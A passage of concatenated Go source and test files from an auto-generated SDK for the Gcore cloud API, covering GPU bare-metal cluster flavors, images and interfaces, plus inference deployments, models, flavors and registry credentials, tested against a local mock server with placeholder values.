| option.WithAPIKey("My API Key"), 88 | ) 89 | err := client.Cloud.FileShares.AccessRules.Delete( 90 | context.TODO(), 91 | "4f09d7dd-f1f8-4352-b015-741b2192db47", 92 | cloud.FileShareAccessRuleDeleteParams{ 93 | ProjectID: gcore.Int(1), 94 | RegionID: gcore.Int(1), 95 | FileShareID: "bd8c47ee-e565-4e26-8840-b537e6827b08", 96 | }, 97 | ) 98 | if err != nil { 99 | var apierr *gcore.Error 100 | if errors.As(err, &apierr) { 101 | t.Log(string(apierr.DumpRequest(true))) 102 | } 103 | t.Fatalf("err should be nil: %s", err.Error()) 104 | } 105 | } 106 | -------------------------------------------------------------------------------- /cloud/gpubaremetalclusterflavor.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "fmt" 9 | "net/http" 10 | "net/url" 11 | 12 | "github.com/stridentmare/gcore-go/internal/apiquery" 13 | "github.com/stridentmare/gcore-go/internal/requestconfig" 14 | "github.com/stridentmare/gcore-go/option" 15 | "github.com/stridentmare/gcore-go/packages/param" 16 | ) 17 | 18 | // GPUBaremetalClusterFlavorService contains methods and other services that help 19 | // with interacting with the gcore API. 20 | // 21 | // Note, unlike clients, this service does not read variables from the environment 22 | // automatically. You should not instantiate this service directly, and instead use 23 | // the [NewGPUBaremetalClusterFlavorService] method instead. 24 | type GPUBaremetalClusterFlavorService struct { 25 | Options []option.RequestOption 26 | } 27 | 28 | // NewGPUBaremetalClusterFlavorService generates a new service that applies the 29 | // given options to each request. These options are applied after the parent 30 | // client's options (if there is one), and before any request-specific options. 31 | func NewGPUBaremetalClusterFlavorService(opts ...option.RequestOption) (r GPUBaremetalClusterFlavorService) { 32 | r = GPUBaremetalClusterFlavorService{} 33 | r.Options = opts 34 | return 35 | } 36 | 37 | // List bare metal GPU flavors 38 | func (r *GPUBaremetalClusterFlavorService) List(ctx context.Context, params GPUBaremetalClusterFlavorListParams, opts ...option.RequestOption) (res *GPUBaremetalFlavorList, err error) { 39 | opts = append(r.Options[:], opts...) 40 | precfg, err := requestconfig.PreRequestOptions(opts...) 41 | if err != nil { 42 | return 43 | } 44 | requestconfig.UseDefaultParam(¶ms.ProjectID, precfg.CloudProjectID) 45 | requestconfig.UseDefaultParam(¶ms.RegionID, precfg.CloudRegionID) 46 | if !params.ProjectID.Valid() { 47 | err = errors.New("missing required project_id parameter") 48 | return 49 | } 50 | if !params.RegionID.Valid() { 51 | err = errors.New("missing required region_id parameter") 52 | return 53 | } 54 | path := fmt.Sprintf("cloud/v3/gpu/baremetal/%v/%v/flavors", params.ProjectID.Value, params.RegionID.Value) 55 | err = requestconfig.ExecuteNewRequest(ctx, http.MethodGet, path, params, &res, opts...) 56 | return 57 | } 58 | 59 | type GPUBaremetalClusterFlavorListParams struct { 60 | // Project ID 61 | ProjectID param.Opt[int64] `path:"project_id,omitzero,required" json:"-"` 62 | // Region ID 63 | RegionID param.Opt[int64] `path:"region_id,omitzero,required" json:"-"` 64 | // Set to `true` to remove the disabled flavors from the response. 65 | HideDisabled param.Opt[bool] `query:"hide_disabled,omitzero" json:"-"` 66 | // Set to `true` if the response should include flavor prices. 67 | IncludePrices param.Opt[bool] `query:"include_prices,omitzero" json:"-"` 68 | paramObj 69 | } 70 | 71 | // URLQuery serializes [GPUBaremetalClusterFlavorListParams]'s query parameters as 72 | // `url.Values`. 73 | func (r GPUBaremetalClusterFlavorListParams) URLQuery() (v url.Values, err error) { 74 | return apiquery.MarshalWithSettings(r, apiquery.QuerySettings{ 75 | ArrayFormat: apiquery.ArrayQueryFormatRepeat, 76 | NestedFormat: apiquery.NestedQueryFormatDots, 77 | }) 78 | } 79 | -------------------------------------------------------------------------------- /cloud/gpubaremetalclusterflavor_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestGPUBaremetalClusterFlavorListWithOptionalParams(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.GPUBaremetalClusters.Flavors.List(context.TODO(), cloud.GPUBaremetalClusterFlavorListParams{ 30 | ProjectID: gcore.Int(1), 31 | RegionID: gcore.Int(7), 32 | HideDisabled: gcore.Bool(true), 33 | IncludePrices: gcore.Bool(true), 34 | }) 35 | if err != nil { 36 | var apierr *gcore.Error 37 | if errors.As(err, &apierr) { 38 | t.Log(string(apierr.DumpRequest(true))) 39 | } 40 | t.Fatalf("err should be nil: %s", err.Error()) 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /cloud/gpubaremetalclusterimage_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestGPUBaremetalClusterImageList(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.GPUBaremetalClusters.Images.List(context.TODO(), cloud.GPUBaremetalClusterImageListParams{ 30 | ProjectID: gcore.Int(1), 31 | RegionID: gcore.Int(7), 32 | }) 33 | if err != nil { 34 | var apierr *gcore.Error 35 | if errors.As(err, &apierr) { 36 | t.Log(string(apierr.DumpRequest(true))) 37 | } 38 | t.Fatalf("err should be nil: %s", err.Error()) 39 | } 40 | } 41 | 42 | func TestGPUBaremetalClusterImageDelete(t *testing.T) { 43 | baseURL := "http://localhost:4010" 44 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 45 | baseURL = envURL 46 | } 47 | if !testutil.CheckTestServer(t, baseURL) { 48 | return 49 | } 50 | client := gcore.NewClient( 51 | option.WithBaseURL(baseURL), 52 | option.WithAPIKey("My API Key"), 53 | ) 54 | _, err := client.Cloud.GPUBaremetalClusters.Images.Delete( 55 | context.TODO(), 56 | "8cab6f28-09ca-4201-b3f7-23c7893f4bd6", 57 | cloud.GPUBaremetalClusterImageDeleteParams{ 58 | ProjectID: gcore.Int(1), 59 | RegionID: gcore.Int(7), 60 | }, 61 | ) 62 | if err != nil { 63 | var apierr *gcore.Error 64 | if errors.As(err, &apierr) { 65 | t.Log(string(apierr.DumpRequest(true))) 66 | } 67 | t.Fatalf("err should be nil: %s", err.Error()) 68 | } 69 | } 70 | 71 | func TestGPUBaremetalClusterImageGet(t *testing.T) { 72 | baseURL := "http://localhost:4010" 73 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 74 | baseURL = envURL 75 | } 76 | if !testutil.CheckTestServer(t, baseURL) { 77 | return 78 | } 79 | client := gcore.NewClient( 80 | option.WithBaseURL(baseURL), 81 | option.WithAPIKey("My API Key"), 82 | ) 83 | _, err := client.Cloud.GPUBaremetalClusters.Images.Get( 84 | context.TODO(), 85 | "8cab6f28-09ca-4201-b3f7-23c7893f4bd6", 86 | cloud.GPUBaremetalClusterImageGetParams{ 87 | ProjectID: gcore.Int(1), 88 | RegionID: gcore.Int(7), 89 | }, 90 | ) 91 | if err != nil { 92 | var apierr *gcore.Error 93 | if errors.As(err, &apierr) { 94 | t.Log(string(apierr.DumpRequest(true))) 95 | } 96 | t.Fatalf("err should be nil: %s", err.Error()) 97 | } 98 | } 99 | 100 | func TestGPUBaremetalClusterImageUploadWithOptionalParams(t *testing.T) { 101 | baseURL := "http://localhost:4010" 102 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 103 | baseURL = envURL 104 | } 105 | if !testutil.CheckTestServer(t, baseURL) { 106 | return 107 | } 108 | client := gcore.NewClient( 109 | option.WithBaseURL(baseURL), 110 | option.WithAPIKey("My API Key"), 111 | ) 112 | _, err := client.Cloud.GPUBaremetalClusters.Images.Upload(context.TODO(), cloud.GPUBaremetalClusterImageUploadParams{ 113 | ProjectID: gcore.Int(1), 114 | RegionID: gcore.Int(7), 115 | Name: "ubuntu-23.10-x64", 116 | URL: "http://mirror.noris.net/cirros/0.4.0/cirros-0.4.0-x86_64-disk.img", 117 | Architecture: cloud.GPUBaremetalClusterImageUploadParamsArchitectureX86_64, 118 | CowFormat: gcore.Bool(true), 119 | HwFirmwareType: cloud.GPUBaremetalClusterImageUploadParamsHwFirmwareTypeBios, 120 | OsDistro: gcore.String("os_distro"), 121 | OsType: cloud.GPUBaremetalClusterImageUploadParamsOsTypeLinux, 122 | OsVersion: gcore.String("19.04"), 123 | SSHKey: cloud.GPUBaremetalClusterImageUploadParamsSSHKeyAllow, 124 | Tags: cloud.TagUpdateMap{ 125 | "foo": "my-tag-value", 126 | }, 127 | }) 128 | if err != nil { 129 | var apierr *gcore.Error 130 | if errors.As(err, &apierr) { 131 | t.Log(string(apierr.DumpRequest(true))) 132 | } 133 | t.Fatalf("err should be nil: %s", err.Error()) 134 | } 135 | } 136 | -------------------------------------------------------------------------------- /cloud/gpubaremetalclusterinterface.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "fmt" 9 | "net/http" 10 | 11 | "github.com/stridentmare/gcore-go/internal/requestconfig" 12 | "github.com/stridentmare/gcore-go/option" 13 | "github.com/stridentmare/gcore-go/packages/param" 14 | ) 15 | 16 | // GPUBaremetalClusterInterfaceService contains methods and other services that 17 | // help with interacting with the gcore API. 18 | // 19 | // Note, unlike clients, this service does not read variables from the environment 20 | // automatically. You should not instantiate this service directly, and instead use 21 | // the [NewGPUBaremetalClusterInterfaceService] method instead. 22 | type GPUBaremetalClusterInterfaceService struct { 23 | Options []option.RequestOption 24 | } 25 | 26 | // NewGPUBaremetalClusterInterfaceService generates a new service that applies the 27 | // given options to each request. These options are applied after the parent 28 | // client's options (if there is one), and before any request-specific options. 29 | func NewGPUBaremetalClusterInterfaceService(opts ...option.RequestOption) (r GPUBaremetalClusterInterfaceService) { 30 | r = GPUBaremetalClusterInterfaceService{} 31 | r.Options = opts 32 | return 33 | } 34 | 35 | // Returns the network interfaces attached to the servers in the cluster. 36 | func (r *GPUBaremetalClusterInterfaceService) List(ctx context.Context, clusterID string, query GPUBaremetalClusterInterfaceListParams, opts ...option.RequestOption) (res *NetworkInterfaceList, err error) { 37 | opts = append(r.Options[:], opts...) 38 | precfg, err := requestconfig.PreRequestOptions(opts...) 39 | if err != nil { 40 | return 41 | } 42 | requestconfig.UseDefaultParam(&query.ProjectID, precfg.CloudProjectID) 43 | requestconfig.UseDefaultParam(&query.RegionID, precfg.CloudRegionID) 44 | if !query.ProjectID.Valid() { 45 | err = errors.New("missing required project_id parameter") 46 | return 47 | } 48 | if !query.RegionID.Valid() { 49 | err = errors.New("missing required region_id parameter") 50 | return 51 | } 52 | if clusterID == "" { 53 | err = errors.New("missing required cluster_id parameter") 54 | return 55 | } 56 | path := fmt.Sprintf("cloud/v1/ai/clusters/%v/%v/%s/interfaces", query.ProjectID.Value, query.RegionID.Value, clusterID) 57 | err = requestconfig.ExecuteNewRequest(ctx, http.MethodGet, path, nil, &res, opts...) 58 | return 59 | } 60 | 61 | type GPUBaremetalClusterInterfaceListParams struct { 62 | ProjectID param.Opt[int64] `path:"project_id,omitzero,required" json:"-"` 63 | RegionID param.Opt[int64] `path:"region_id,omitzero,required" json:"-"` 64 | paramObj 65 | } 66 | -------------------------------------------------------------------------------- /cloud/gpubaremetalclusterinterface_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestGPUBaremetalClusterInterfaceList(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.GPUBaremetalClusters.Interfaces.List( 30 | context.TODO(), 31 | "cluster_id", 32 | cloud.GPUBaremetalClusterInterfaceListParams{ 33 | ProjectID: gcore.Int(0), 34 | RegionID: gcore.Int(0), 35 | }, 36 | ) 37 | if err != nil { 38 | var apierr *gcore.Error 39 | if errors.As(err, &apierr) { 40 | t.Log(string(apierr.DumpRequest(true))) 41 | } 42 | t.Fatalf("err should be nil: %s", err.Error()) 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /cloud/inference_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/internal/testutil" 13 | "github.com/stridentmare/gcore-go/option" 14 | ) 15 | 16 | func TestInferenceGetCapacityByRegion(t *testing.T) { 17 | baseURL := "http://localhost:4010" 18 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 19 | baseURL = envURL 20 | } 21 | if !testutil.CheckTestServer(t, baseURL) { 22 | return 23 | } 24 | client := gcore.NewClient( 25 | option.WithBaseURL(baseURL), 26 | option.WithAPIKey("My API Key"), 27 | ) 28 | _, err := client.Cloud.Inference.GetCapacityByRegion(context.TODO()) 29 | if err != nil { 30 | var apierr *gcore.Error 31 | if errors.As(err, &apierr) { 32 | t.Log(string(apierr.DumpRequest(true))) 33 | } 34 | t.Fatalf("err should be nil: %s", err.Error()) 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /cloud/inferencedeploymentlog.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "fmt" 9 | "net/http" 10 | "net/url" 11 | 12 | "github.com/stridentmare/gcore-go/internal/apiquery" 13 | "github.com/stridentmare/gcore-go/internal/requestconfig" 14 | "github.com/stridentmare/gcore-go/option" 15 | "github.com/stridentmare/gcore-go/packages/pagination" 16 | "github.com/stridentmare/gcore-go/packages/param" 17 | ) 18 | 19 | // InferenceDeploymentLogService contains methods and other services that help with 20 | // interacting with the gcore API. 21 | // 22 | // Note, unlike clients, this service does not read variables from the environment 23 | // automatically. You should not instantiate this service directly, and instead use 24 | // the [NewInferenceDeploymentLogService] method instead. 25 | type InferenceDeploymentLogService struct { 26 | Options []option.RequestOption 27 | } 28 | 29 | // NewInferenceDeploymentLogService generates a new service that applies the given 30 | // options to each request. These options are applied after the parent client's 31 | // options (if there is one), and before any request-specific options. 32 | func NewInferenceDeploymentLogService(opts ...option.RequestOption) (r InferenceDeploymentLogService) { 33 | r = InferenceDeploymentLogService{} 34 | r.Options = opts 35 | return 36 | } 37 | 38 | // Get inference deployment logs 39 | func (r *InferenceDeploymentLogService) List(ctx context.Context, deploymentName string, params InferenceDeploymentLogListParams, opts ...option.RequestOption) (res *pagination.OffsetPage[InferenceLog], err error) { 40 | var raw *http.Response 41 | opts = append(r.Options[:], opts...) 42 | opts = append([]option.RequestOption{option.WithResponseInto(&raw)}, opts...) 43 | precfg, err := requestconfig.PreRequestOptions(opts...) 44 | if err != nil { 45 | return 46 | } 47 | requestconfig.UseDefaultParam(¶ms.ProjectID, precfg.CloudProjectID) 48 | if !params.ProjectID.Valid() { 49 | err = errors.New("missing required project_id parameter") 50 | return 51 | } 52 | if deploymentName == "" { 53 | err = errors.New("missing required deployment_name parameter") 54 | return 55 | } 56 | path := fmt.Sprintf("cloud/v3/inference/%v/deployments/%s/logs", params.ProjectID.Value, deploymentName) 57 | cfg, err := requestconfig.NewRequestConfig(ctx, http.MethodGet, path, params, &res, opts...) 58 | if err != nil { 59 | return nil, err 60 | } 61 | err = cfg.Execute() 62 | if err != nil { 63 | return nil, err 64 | } 65 | res.SetPageConfig(cfg, raw) 66 | return res, nil 67 | } 68 | 69 | // Get inference deployment logs 70 | func (r *InferenceDeploymentLogService) ListAutoPaging(ctx context.Context, deploymentName string, params InferenceDeploymentLogListParams, opts ...option.RequestOption) *pagination.OffsetPageAutoPager[InferenceLog] { 71 | return pagination.NewOffsetPageAutoPager(r.List(ctx, deploymentName, params, opts...)) 72 | } 73 | 74 | type InferenceDeploymentLogListParams struct { 75 | // Project ID 76 | ProjectID param.Opt[int64] `path:"project_id,omitzero,required" json:"-"` 77 | // Region ID 78 | RegionID param.Opt[int64] `query:"region_id,omitzero" json:"-"` 79 | // Optional. Limit the number of returned items 80 | Limit param.Opt[int64] `query:"limit,omitzero" json:"-"` 81 | // Optional. Offset value is used to exclude the first set of records from the 82 | // result 83 | Offset param.Opt[int64] `query:"offset,omitzero" json:"-"` 84 | // Order by field 85 | // 86 | // Any of "time.asc", "time.desc". 87 | OrderBy InferenceDeploymentLogListParamsOrderBy `query:"order_by,omitzero" json:"-"` 88 | paramObj 89 | } 90 | 91 | // URLQuery serializes [InferenceDeploymentLogListParams]'s query parameters as 92 | // `url.Values`. 93 | func (r InferenceDeploymentLogListParams) URLQuery() (v url.Values, err error) { 94 | return apiquery.MarshalWithSettings(r, apiquery.QuerySettings{ 95 | ArrayFormat: apiquery.ArrayQueryFormatRepeat, 96 | NestedFormat: apiquery.NestedQueryFormatDots, 97 | }) 98 | } 99 | 100 | // Order by field 101 | type InferenceDeploymentLogListParamsOrderBy string 102 | 103 | const ( 104 | InferenceDeploymentLogListParamsOrderByTimeAsc InferenceDeploymentLogListParamsOrderBy = "time.asc" 105 | InferenceDeploymentLogListParamsOrderByTimeDesc InferenceDeploymentLogListParamsOrderBy = "time.desc" 106 | ) 107 | -------------------------------------------------------------------------------- /cloud/inferencedeploymentlog_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestInferenceDeploymentLogListWithOptionalParams(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.Inference.Deployments.Logs.List( 30 | context.TODO(), 31 | "my-instance", 32 | cloud.InferenceDeploymentLogListParams{ 33 | ProjectID: gcore.Int(1), 34 | Limit: gcore.Int(1000), 35 | Offset: gcore.Int(0), 36 | OrderBy: cloud.InferenceDeploymentLogListParamsOrderByTimeAsc, 37 | RegionID: gcore.Int(1), 38 | }, 39 | ) 40 | if err != nil { 41 | var apierr *gcore.Error 42 | if errors.As(err, &apierr) { 43 | t.Log(string(apierr.DumpRequest(true))) 44 | } 45 | t.Fatalf("err should be nil: %s", err.Error()) 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /cloud/inferenceflavor_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestInferenceFlavorListWithOptionalParams(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.Inference.Flavors.List(context.TODO(), cloud.InferenceFlavorListParams{ 30 | Limit: gcore.Int(1000), 31 | Offset: gcore.Int(0), 32 | }) 33 | if err != nil { 34 | var apierr *gcore.Error 35 | if errors.As(err, &apierr) { 36 | t.Log(string(apierr.DumpRequest(true))) 37 | } 38 | t.Fatalf("err should be nil: %s", err.Error()) 39 | } 40 | } 41 | 42 | func TestInferenceFlavorGet(t *testing.T) { 43 | baseURL := "http://localhost:4010" 44 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 45 | baseURL = envURL 46 | } 47 | if !testutil.CheckTestServer(t, baseURL) { 48 | return 49 | } 50 | client := gcore.NewClient( 51 | option.WithBaseURL(baseURL), 52 | option.WithAPIKey("My API Key"), 53 | ) 54 | _, err := client.Cloud.Inference.Flavors.Get(context.TODO(), "inference-16vcpu-232gib-1xh100-80gb") 55 | if err != nil { 56 | var apierr *gcore.Error 57 | if errors.As(err, &apierr) { 58 | t.Log(string(apierr.DumpRequest(true))) 59 | } 60 | t.Fatalf("err should be nil: %s", err.Error()) 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /cloud/inferencemodel_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestInferenceModelListWithOptionalParams(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.Inference.Models.List(context.TODO(), cloud.InferenceModelListParams{ 30 | Limit: gcore.Int(1000), 31 | Offset: gcore.Int(0), 32 | OrderBy: cloud.MlcatalogOrderByChoicesNameAsc, 33 | }) 34 | if err != nil { 35 | var apierr *gcore.Error 36 | if errors.As(err, &apierr) { 37 | t.Log(string(apierr.DumpRequest(true))) 38 | } 39 | t.Fatalf("err should be nil: %s", err.Error()) 40 | } 41 | } 42 | 43 | func TestInferenceModelGet(t *testing.T) { 44 | baseURL := "http://localhost:4010" 45 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 46 | baseURL = envURL 47 | } 48 | if !testutil.CheckTestServer(t, baseURL) { 49 | return 50 | } 51 | client := gcore.NewClient( 52 | option.WithBaseURL(baseURL), 53 | option.WithAPIKey("My API Key"), 54 | ) 55 | _, err := client.Cloud.Inference.Models.Get(context.TODO(), "model_id") 56 | if err != nil { 57 | var apierr *gcore.Error 58 | if errors.As(err, &apierr) { 59 | t.Log(string(apierr.DumpRequest(true))) 60 | } 61 | t.Fatalf("err should be nil: %s", err.Error()) 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /cloud/inferenceregistrycredential_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestInferenceRegistryCredentialNew(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.Inference.RegistryCredentials.New(context.TODO(), cloud.InferenceRegistryCredentialNewParams{ 30 | ProjectID: gcore.Int(1), 31 | Name: "docker-io", 32 | Password: "password", 33 | RegistryURL: "registry.example.com", 34 | Username: "username", 35 | }) 36 | if err != nil { 37 | var apierr *gcore.Error 38 | if errors.As(err, &apierr) { 39 | t.Log(string(apierr.DumpRequest(true))) 40 | } 41 | t.Fatalf("err should be nil: %s", err.Error()) 42 | } 43 | } 44 | 45 | func TestInferenceRegistryCredentialListWithOptionalParams(t *testing.T) { 46 | baseURL := "http://localhost:4010" 47 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 48 | baseURL = envURL 49 | } 50 | if !testutil.CheckTestServer(t, baseURL) { 51 | return 52 | } 53 | client := gcore.NewClient( 54 | option.WithBaseURL(baseURL), 55 | option.WithAPIKey("My API Key"), 56 | ) 57 | _, err := client.Cloud.Inference.RegistryCredentials.List(context.TODO(), cloud.InferenceRegistryCredentialListParams{ 58 | ProjectID: gcore.Int(1), 59 | Limit: gcore.Int(1000), 60 | Offset: gcore.Int(0), 61 | }) 62 | if err != nil { 63 | var apierr *gcore.Error 64 | if errors.As(err, &apierr) { 65 | t.Log(string(apierr.DumpRequest(true))) 66 | } 67 | t.Fatalf("err should be nil: %s", err.Error()) 68 | } 69 | } 70 | 71 | func TestInferenceRegistryCredentialDelete(t *testing.T) { 72 | baseURL := "http://localhost:4010" 73 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 74 | baseURL = envURL 75 | } 76 | if !testutil.CheckTestServer(t, baseURL) { 77 | return 78 | } 79 | client := gcore.NewClient( 80 | option.WithBaseURL(baseURL), 81 | option.WithAPIKey("My API Key"), 82 | ) 83 | err := client.Cloud.Inference.RegistryCredentials.Delete( 84 | context.TODO(), 85 | "docker-io", 86 | cloud.InferenceRegistryCredentialDeleteParams{ 87 | ProjectID: gcore.Int(1), 88 | }, 89 | ) 90 | if err != nil { 91 | var apierr *gcore.Error 92 | if errors.As(err, &apierr) { 93 | t.Log(string(apierr.DumpRequest(true))) 94 | } 95 | t.Fatalf("err should be nil: %s", err.Error()) 96 | } 97 | } 98 | 99 | func TestInferenceRegistryCredentialGet(t *testing.T) { 100 | baseURL := "http://localhost:4010" 101 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 102 | baseURL = envURL 103 | } 104 | if !testutil.CheckTestServer(t, baseURL) { 105 | return 106 | } 107 | client := gcore.NewClient( 108 | option.WithBaseURL(baseURL), 109 | option.WithAPIKey("My API Key"), 110 | ) 111 | _, err := client.Cloud.Inference.RegistryCredentials.Get( 112 | context.TODO(), 113 | "docker-io", 114 | cloud.InferenceRegistryCredentialGetParams{ 115 | ProjectID: gcore.Int(1), 116 | }, 117 | ) 118 | if err != nil { 119 | var apierr *gcore.Error 120 | if errors.As(err, &apierr) { 121 | t.Log(string(apierr.DumpRequest(true))) 122 | } 123 | t.Fatalf("err should be nil: %s", err.Error()) 124 | } 125 | } 126 | 127 | func TestInferenceRegistryCredentialReplace(t *testing.T) { 128 | baseURL := "http://localhost:4010" 129 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 130 | baseURL = envURL 131 | } 132 | if !testutil.CheckTestServer(t, baseURL) { 133 | return 134 | } 135 | client := gcore.NewClient( 136 | option.WithBaseURL(baseURL), 137 | option.WithAPIKey("My API Key"), 138 | ) 139 | err := client.Cloud.Inference.RegistryCredentials.Replace( 140 | context.TODO(), 141 | "docker-io", 142 | cloud.InferenceRegistryCredentialReplaceParams{ 143 | ProjectID: gcore.Int(1), 144 | Password: "password", 145 | RegistryURL: "registry.example.com", 146 | Username: "username", 147 | }, 148 | ) 149 | if err != nil { 150 | var apierr *gcore.Error 151 | if errors.As(err, &apierr) { 152 | t.Log(string(apierr.DumpRequest(true))) 153 | } 154 | t.Fatalf("err should be nil: %s", err.Error()) 155 | } 156 | } 157 | -------------------------------------------------------------------------------- /cloud/inferencesecret_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI 